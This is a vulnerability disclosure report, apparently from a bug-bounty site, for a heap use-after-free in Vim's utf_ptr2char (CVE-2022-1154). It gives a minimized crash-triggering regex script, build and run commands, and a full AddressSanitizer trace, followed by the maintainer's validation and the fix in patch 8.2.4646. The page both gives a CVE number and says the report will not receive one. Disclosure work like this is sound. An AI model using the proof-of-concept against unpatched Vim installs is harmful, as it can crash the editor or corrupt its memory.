Use after free in utf_ptr2char in vim/vim

0

Valid Reported on Mar 28th 2022

✍️ Description

When fuzzing vim commit `9dac9b175` , I discovered a use after free. I'm testing on ubuntu 20.04 with clang 13.

Proof of Concept

Here is the minimized poc

```
s/\v/\r
/\%'(\{,600}
```

How to build

```
LD=lld AS=llvm-as AR=llvm-ar RANLIB=llvm-ranlib CC=clang CXX=clang++ CFLAGS
make -j$(nproc)
```

Proof of Concept

Run crafted file with this command

`./vim -u NONE -X -Z -e -s -S poc_utf_ptr2char -c :qa!`

ASan stack trace:

```
aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/
================================================================
==49542==ERROR: AddressSanitizer: heap-use-after-free on address 0x60200000
READ of size 1 at 0x6020000062b0 thread T0
    #0 0x8636a7 in utf_ptr2char /home/aldo/vimtes/src/mbyte.c:1789:9
    #1 0xaa6a07 in regmatch /home/aldo/vimtes/src/./regexp_bt
    #2 0xaa58ca in regtry /home/aldo/vimtes/src/./regexp_bt
    #3 0xaa5231 in bt_regexec_both /home/aldo/vimtes/src/./regexp_bt.c:4955
```

```
    #4 0xa97aec in bt_regexec_multi /home/aldo/vimtes/src/./regexp_bt.c:506
    #5 0xa312ac in vim_regexec_multi /home/aldo/vimtes/src/regexp.c:2864:14
    #6 0xb01a23 in searchit /home/aldo/vimtes/src/search.c:767:14

    #7 0xb06edc in do_search /home/aldo/vimtes/src/search.c:1565:6
    #8 0x6dd9d4 in get_address /home/aldo/vimtes/src/ex_docmd.c:4351:12
    #9 0x6e06ee in parse_cmd_address /home/aldo/vimtes/src/ex_docmd.c:3265:
    #10 0x6ce320 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:1938:6
    #11 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #12 0xaf7105 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
    #13 0xaf4b50 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
    #14 0xaf4689 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
    #15 0xaf416d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
    #16 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #17 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #18 0x6cacb0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
    #19 0xeca9a4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
    #20 0xec86d9 in vim_main2 /home/aldo/vimtes/src/main.c:772:2
    #21 0xec20dd in main /home/aldo/vimtes/src/main.c:424:12
    #22 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/
    #23 0x41edcd in _start (/home/aldo/vimtes/src/vim+0x41edcd)

0x6020000062b0 is located 0 bytes inside of 1-byte region [0x6020000062b0,0
freed by thread T0 here:
    #0 0x499a22 in free (/home/aldo/vimtes/src/vim+0x499a22)
    #1 0x4cb4e8 in vim_free /home/aldo/vimtes/src/alloc.c:623:2
    #2 0x8768ee in ml_flush_line /home/aldo/vimtes/src/memline.c:4064:2
    #3 0x884c9c in ml_get_buf /home/aldo/vimtes/src/memline.c:2651:2
    #4 0x8823b8 in ml_get /home/aldo/vimtes/src/memline.c:2564:12
    #5 0x8b2a93 in dec /home/aldo/vimtes/src/misc2.c:424:6
    #6 0x8b2cd4 in decl /home/aldo/vimtes/src/misc2.c:443:14
    #7 0xc86249 in findsent /home/aldo/vimtes/src/textobject.c:53:7
    #8 0x847de7 in getmark_buf_fnum /home/aldo/vimtes/src/mark.c:354:6
    #9 0x8477a4 in getmark_buf /home/aldo/vimtes/src/mark.c:287:12
    #10 0xaa6d84 in regmatch /home/aldo/vimtes/src/./regexp_bt.c:3364:9
    #11 0xaa58ca in regtry /home/aldo/vimtes/src/./regexp_bt.c:4722:9
    #12 0xaa5231 in bt_regexec_both /home/aldo/vimtes/src/./regexp_bt.c:495
    #13 0xa97dec in bt_regexec_multi /home/aldo/vimtes/src/./regexp_bt.c:56
    #14 0xa312ac in vim_regexec_multi /home/aldo/vimtes/src/regexp.c:2864:1
    #15 0xb01a23 in searchit /home/aldo/vimtes/src/search.c
    #16 0xb06edc in do_search /home/aldo/vimtes/src/search.c:1565:6
    #17 0x6dd9d4 in get_address /home/aldo/vimtes/src/ex_docmd.c:4351:12
```

```
    #17 0x6aa9a4 in get_address /home/aldo/vimtes/src/ex_docmd.c:4351:12
    #18 0x6e06ee in parse_cmd_address /home/aldo/vimtes/src/ex_docmd.c:3265
    #19 0x6ce320 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:1938:6

    #20 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #21 0xaf7105 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
    #22 0xaf4b50 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
    #23 0xaf4689 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
    #24 0xaf416d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
    #25 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #26 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #27 0x6cacb0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
    #28 0xeca9a4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
    #29 0xec86d9 in vim_main2 /home/aldo/vimtes/src/main.c:772:2

previously allocated by thread T0 here:
    #0 0x499c8d in malloc (/home/aldo/vimtes/src/vim+0x499c8d)
    #1 0x4cb0e0 in lalloc /home/aldo/vimtes/src/alloc.c:248:11
    #2 0x4cb039 in alloc /home/aldo/vimtes/src/alloc.c:151:12
    #3 0xbcc84c in vim_strnsave /home/aldo/vimtes/src/strings.c:44:9
    #4 0x885952 in ml_replace_len /home/aldo/vimtes/src/memline.c:3441:13
    #5 0x885826 in ml_replace /home/aldo/vimtes/src/memline.c:3404:12
    #6 0x6ba35c in ex_substitute /home/aldo/vimtes/src/ex_cmds.c:4665:4
    #7 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #8 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #9 0xaf7105 in do_source_ext /home/aldo/vimtes/src/scriptfile.c:1632:5
    #10 0xaf4b50 in do_source /home/aldo/vimtes/src/scriptfile.c:1758:12
    #11 0xaf4689 in cmd_source /home/aldo/vimtes/src/scriptfile.c:1132:14
    #12 0xaf416d in ex_source /home/aldo/vimtes/src/scriptfile.c:1158:2
    #13 0x6d3c94 in do_one_cmd /home/aldo/vimtes/src/ex_docmd.c:2567:2
    #14 0x6c7a22 in do_cmdline /home/aldo/vimtes/src/ex_docmd.c:993:17
    #15 0x6cacb0 in do_cmdline_cmd /home/aldo/vimtes/src/ex_docmd.c:587:12
    #16 0xeca9a4 in exe_commands /home/aldo/vimtes/src/main.c:3080:2
    #17 0xec86d9 in vim_main2 /home/aldo/vimtes/src/main.c:772:2
    #18 0xec20dd in main /home/aldo/vimtes/src/main.c:424:12
    #19 0x7ffff78240b2 in __libc_start_main /build/glibc-sMfBJT/glibc-2.31/

SUMMARY: AddressSanitizer: heap-use-after-free /home/aldo/vimtes/src/mbyte.
Shadow bytes around the buggy address:
  0x0c047fff8c00: fa fa fd fa fa fa fd fa fa fa fd fa fa fa
  0x0c047fff8c10: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
```

```
  0x0c047fff8c20: fa fa 00 00 fa fa 00 00 fa fa 05 fa fa fa 00 fa
  0x0c047fff8c30: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 03 fa
  0x0c047fff8c40: fa fa fd fa fa fa 03 fa fa fa fd fa fa fa 00 00

=>0x0c047fff8c50: fa fa 01 fa fa fa[fd]fa fa fa 00 04 fa fa 00 04
  0x0c047fff8c60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8c70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8c90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ca0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==49542==ABORTING
```

Impact

This vulnerability is capable of crashing software, Bypass Protection Mechanism, Modify Memory, and possible remote execution

CVE

CVE-2022-1154

(Published)

Vulnerability Type
CWE-416: Use After Free

Severity
High (7.8)

Visibility
Public

Status
Fixed

Found by

Muhammad Aldo Firmansyah
@thecrott
legend

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,734 times.

We are processing your report and will contact the **vim** team within 24 hours. 8 months ago

We have contacted a member of the **vim** team and are waiting to hear back 8 months ago

Bram Moolenaar validated this vulnerability 8 months ago

Muhammad Aldo Firmansyah has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 8 months ago Maintainer

Fixed with patch 8.2.4646. Changed the POC a bit to reproduce the problem

Chat with us

Bram Moolenaar marked this as fixed in 8.2 with commit b55986 8 months ago

Bram Moolenaar marked this as fixed in 8.2 with commit b55986 8 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Muhammad 8 months ago Researcher

Thanks

Sign in to join this conversation